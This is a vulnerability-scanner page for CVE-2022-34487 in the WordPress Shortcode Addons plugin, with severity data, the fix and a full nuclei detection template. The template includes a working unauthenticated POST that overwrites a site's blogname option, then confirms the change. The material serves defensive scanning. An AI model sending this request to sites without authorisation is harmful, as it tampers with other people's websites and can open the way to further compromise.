ShortCode Addons - Unauthenticated Options Update

criticalseverity

9.8CVSS score

3.3%likelihood of exploitation, next 30 days

89%of all CVEs are less likely

Readycheck to confirm it

WordPress plugin Shortcode Addons <= 3.0.2 contains an unauthenticated arbitrary option update caused by insufficient access controls in the plugin, letting attackers modify options without authentication.

Impact

Attackers can modify plugin options arbitrarily, potentially leading to site defacement, data tampering, or further exploitation.

Fix

Update to the latest version of Shortcode Addons plugin.

How to confirm it

Send: POST /wp-json/ShortCodeAddonsUltimate/v2/addons_settings
Positive when: status_code == 200 and contains(body, 'oxi-confirmation-success')
Send: GET /
Positive when: contains_all(body, rand, "/wp-") and status_code == 200

Run it with nuclei: nuclei -id CVE-2022-34487 -u <target>

The full check

id: CVE-2022-34487

info:
  name: ShortCode Addons - Unauthenticated Options Update
  author: Sourabh-Sahu
  severity: critical
  description: |
    WordPress plugin Shortcode Addons <= 3.0.2 contains an unauthenticated arbitrary option update caused by insufficient access controls in the plugin, letting attackers modify options without authentication.
  impact: |
    Attackers can modify plugin options arbitrarily, potentially leading to site defacement, data tampering, or further exploitation.
  remediation: |
    Update to the latest version of Shortcode Addons plugin.
  reference:
    - https://wpscan.com/vulnerability/c8dd91d5-fdc4-4852-9823-6d0047b214fe/
    - https://patchstack.com/database/vulnerability/shortcode-addons/wordpress-shortcode-addons-plugin-3-0-3-unauthenticated-arbitrary-option-update-vulnerability
    - https://nvd.nist.gov/vuln/detail/CVE-2022-34487
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-34487
    cwe-id: CWE-264
    epss-score: 0.03345
    epss-percentile: 0.88772
    cpe: cpe:2.3:a:oxilab:shortcode_addons:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
  tags: cve,cve2022,wp,wp-plugin,wordpress,shortcode-addons,vkev,vuln

flow: http(1) && http(2)

variables:
  rand: "{{randstr}}"

http:
  - raw:
      - |
        POST /wp-json/ShortCodeAddonsUltimate/v2/addons_settings HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        rawdata=%7B%22name%22%3A%22blogname%22%2C%22value%22%3A%22{{rand}}%22%7D

    matchers:
      - type: dsl
        internal: true
        dsl:
          - status_code == 200
          - contains(body, 'oxi-confirmation-success')
        condition: and

  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - contains_all(body, rand, "/wp-")
          - status_code == 200
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from